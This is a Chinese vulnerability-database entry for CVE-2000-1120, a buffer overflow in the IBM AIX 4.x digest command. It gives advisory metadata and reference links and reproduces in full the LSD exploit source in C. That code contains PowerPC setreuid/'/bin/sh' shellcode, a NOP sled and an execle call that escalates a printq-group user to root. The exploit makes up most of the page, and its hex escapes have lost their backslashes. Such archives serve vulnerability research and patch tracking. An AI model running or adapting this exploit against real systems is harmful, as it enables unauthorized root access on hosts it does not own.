IBM AIX缓冲区溢出漏洞

IBM AIX缓冲区溢出漏洞

漏洞ID 1106106 漏洞类型 缓冲区溢出
发布时间 2000-12-01 更新时间 2005-05-02
图片[1]-IBM AIX缓冲区溢出漏洞-安全小百科CVE编号 CVE-2000-1120
图片[2]-IBM AIX缓冲区溢出漏洞-安全小百科CNNVD-ID CNNVD-200101-098
漏洞平台 AIX CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/20453
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200101-098
|漏洞详情
IBMAIX4.3.x版本及之前版本的digest命令存在缓冲区溢出漏洞。本地用户可以执行任意命令。
|漏洞EXP
/*
source: http://www.securityfocus.com/bid/2033/info

AIX is a version of the UNIX Operating System distributed by IBM. A vulnerability exists in the operating system which could allow a user an elevation in priviledge.

The problem occurs in the digest binary. It is reported that it is possible to overflow a buffer in the program and overwrite a pointer to the stack, which in turn can result in an overflow in a library referenced by the binary. The secondary overflow in the library makes it possible to overwrite other stack variables, including the return address.

A malicious user could use this vulnerability to gain an elevation in priviledges, and potentially UID 0. 
*/

/*## copyright LAST STAGE OF DELIRIUM dec 2000 poland        *://lsd-pl.net/ #*/
/*## /usr/lib/lpd/digest                                                     #*/

/*   note: to avoid potential system hang-up please, first obtain the exact   */
/*   AIX OS level with the use of the uname -a or oslevel commands            */

/*   printq group to root user's privilages escalation attack                 */
/*   use aix_piomkapqd or aix_piobe codes first in order to gain egid=printq  */

#define PCHNUM  2200
#define ADRNUM  8000
#define NOPNUM  8000
#define ALLIGN  2

char setreuidcode[]=
    "x7ex94xa2x79"     /* xor.    r20,r20,r20            */
    "x40x82xffxfd"     /* bnel    <setreuidcode>         */
    "x7exa8x02xa6"     /* mflr    r21                    */
    "x3axb5x01x40"     /* cal     r21,0x140(r21)         */
    "x88x55xfexe0"     /* lbz     r2,-288(r21)           */
    "x7ex83xa3x78"     /* mr      r3,r20                 */
    "x3axd5xfexe4"     /* cal     r22,-284(r21)          */
    "x7exc8x03xa6"     /* mtlr    r22                    */
    "x4cxc6x33x42"     /* crorc   cr6,cr6,cr6            */
    "x44xffxffx02"     /* svca                           */
    "xffxffxffxff"
    "x38x75xffx04"     /* cal     r3,-252(r21)           */
    "x38x95xffx0c"     /* cal     r4,-244(r21)           */
    "x7ex85xa3x78"     /* mr      r5,r20                 */
    "x90x75xffx0c"     /* st      r3,-244(r21)           */
    "x92x95xffx10"     /* st      r20,-240(r21)          */
    "x88x55xfexe1"     /* lbz     r2,-287(r21)           */
    "x9ax95xffx0b"     /* stb     r20,-245(r21)          */
    "x4bxffxffxd8"     /* bl      <setreuidcode+32>      */
    "/bin/sh"
;

char nop[]="x7fxffxfbx78";

main(int argc,char **argv,char **e){
    char buffer[20000],adr[4],pch[4],*b,*envp[2];
    int i;

    printf("copyright LAST STAGE OF DELIRIUM dec 2000 poland  //lsd-pl.net/n");
    printf("/usr/lib/lpd/digest for aix 4.1 4.2 4.3 PowerPC/POWERnn");

    if(argc<2){
        printf("usage: %s 41|42|43n",argv[0]);exit(-1);
    }

    switch(atoi(argv[1])){
    case 41: memcpy(&setreuidcode[40],"x68x03",2); break;
    case 42: memcpy(&setreuidcode[40],"x71x02",2); break;
    case 43: memcpy(&setreuidcode[40],"x82x04",2); break;
    default: exit(-1);
    }

    i=0; while(*e++) i+=strlen(*e)+1;
    *((unsigned long*)adr)=(unsigned long)e+(i&~3)-8000-2300;
    *((unsigned long*)pch)=(unsigned long)e+(i&~3)-2300;

    envp[0]=&buffer[3000];
    envp[1]=0;

    b=buffer;
    for(i=0;i<ALLIGN;i++) *b++=' ';
    for(i=0;i<PCHNUM;i++) *b++=pch[i%4];
    *b=0;

    b=&buffer[3000];
    sprintf(b,"xxx= ");b+=5;
    for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
    for(i=0;i<strlen(setreuidcode);i++) *b++=setreuidcode[i];
    for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
    *b=0;

    execle("/usr/lib/lpd/digest","lsd",buffer,"lsd",0,envp);
}
|参考资料

来源:BID
名称:2033
链接:http://www.securityfocus.com/bid/2033
来源:BUGTRAQ
名称:20001201FixedlocalAIXV43vulnerabilities
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=97569466809056&w;=2
来源:XF
名称:aix-digest-bo(5620)
链接:http://xforce.iss.net/xforce/xfdb/5620
来源:AIXAPAR
名称:IY08287
链接:http://www-1.ibm.com/support/search.wss?rs=0&q;=IY08287&apar;=only
来源:AIXAPAR
名称:IY08143
链接:http://www-1.ibm.com/support/search.wss?rs=0&q;=IY08143&apar;=only

相关推荐: BBGallery Image Tag HTML Injection Vulnerability

BBGallery Image Tag HTML Injection Vulnerability 漏洞ID 1101988 漏洞类型 Input Validation Error 发布时间 2002-06-11 更新时间 2002-06-11 CVE编号 N/…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享